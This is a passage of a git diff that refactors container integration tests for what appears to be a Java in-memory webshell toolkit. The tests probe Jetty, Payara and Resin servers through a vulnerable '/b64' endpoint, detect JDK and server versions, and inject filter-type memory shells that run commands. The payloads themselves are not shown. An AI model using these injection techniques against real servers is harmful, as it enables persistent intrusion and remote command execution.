org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/7 */ -@Slf4j @Testcontainers -public class Jetty94ContainerTest { - public static final String imageName = "jetty:9.4.57-jre8"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_462|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Jetty, data); - } +public class Jetty94ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.jetty("jetty:9.4.57-jre8") + .expectedJdkVersion("JRE|1.8.0_462|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java index f29b9682..1eb5a333 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -1,112 +1,36 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara5201ContainerTest { - public static final String imageName = "reajason/payara:5.201"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); - } - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_151|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } +public class Payara5201ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payara( + "reajason/payara:5.201", + "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_151|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java index c37788e5..c2850fdb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -1,106 +1,36 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.BeforeAll; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara520225ContainerTest { - public static final String imageName = "reajason/payara:5.2022.5"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1)); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_432|52", data); - } +public class Payara520225ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payara( + "reajason/payara:5.2022.5", + "/usr/local/payara5/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|1.8.0_432|52") + .targetJdkVersion(Opcodes.V1_6) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V1_6); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java index 5f215bfe..f8937687 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -1,105 +1,68 @@ package com.reajason.javaweb.integration.probe.payara; -import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.BeforeAll; +import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.util.List; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/12 */ -@Slf4j @Testcontainers -public class Payara620222ContainerTest { - public static final String imageName = "reajason/payara:6.2022.2-jdk11"; +public class Payara620222ContainerTest extends AbstractProbeContainerTest { - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") - .waitingFor(Wait.forLogMessage(".*JMXService.*", 1)) - .withExposedPorts(8080); - - @BeforeAll - static void setup() { - container.waitingFor(Wait.forHttp("/app/test")); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|11.0.25|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.payaraJakarta( + "reajason/payara:6.2022.2-jdk11", + "/usr/local/payara6/glassfish/domains/domain1/autodeploy/app.war") + .expectedJdkVersion("JDK|11.0.25|55") + .targetJdkVersion(Opcodes.V11) + .waitStrategy(Wait.forLogMessage(".*JMXService.*", 1)) + .build(); - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.GlassFish, data); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.GlassFish, Opcodes.V11); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); + @Override + protected GenericContainer getContainer() { + return container; } @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); - ShellAssertion.assertFilterProbeIsRight(data); - } + protected void testFilterFirstInject() { + String url = getUrl(); + String shellType = getConfig().isJakarta() ? ShellType.JAKARTA_FILTER : ShellType.FILTER; + MemShellResult memShellResult = shellInjectIsOk( + url, + getConfig().getServer(), + shellType, + ShellTool.Command, + Opcodes.V11, + Packers.BigInteger, + getContainer()); - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(getConfig().getServer())); List filter = ProbeAssertion.getFiltersForContext(data, "/app"); String filterName = ProbeAssertion.extractFilterName(filter.get(0)); assertEquals(filterName, memShellResult.getShellClassName()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java index af8e7f52..346e2309 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java @@ -1,100 +1,34 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin3116ContainerTest { - public static final String imageName = "reajason/resin:3.1.16"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Resin, data); - } +public class Resin3116ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin("reajason/resin:3.1.16", "/usr/local/resin3/webapps/app.war") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java index a1f61332..575f75ad 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java @@ -1,105 +1,34 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin318ContainerTest { - public static final String imageName = "reajason/resin:3.1.8-jdk7"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin3/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @AfterAll - public static void tearDown() { - log.info(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.7.0_17|51", data); - } +public class Resin318ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Resin, data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin("reajason/resin:3.1.8-jdk7", "/usr/local/resin3/webapps/app.war") + .expectedJdkVersion("JDK|1.7.0_17|51") + .targetJdkVersion(Opcodes.V1_7) + .build(); - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_7); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java index fd6f0b10..6704dc1b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/4 */ -@Slf4j @Testcontainers -public class Resin4058ContainerTest { - public static final String imageName = "reajason/resin:4.0.58"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/resin4/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @Test - void testJDK() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_342|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.Resin, data); - } +public class Resin4058ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseCommandIsOk(url, Server.Resin, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.resin("reajason/resin:4.0.58", "/usr/local/resin4/webapps/app.war") + .expectedJdkVersion("JDK|1.8.0_342|52") + .targetJdkVersion(Opcodes.V1_8) + .build(); - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrl(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrl(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrl(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } -} \ No newline at end of file +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java index 0a4cd020..7ba98899 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java @@ -1,99 +1,34 @@ package com.reajason.javaweb.integration.probe.resin; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import 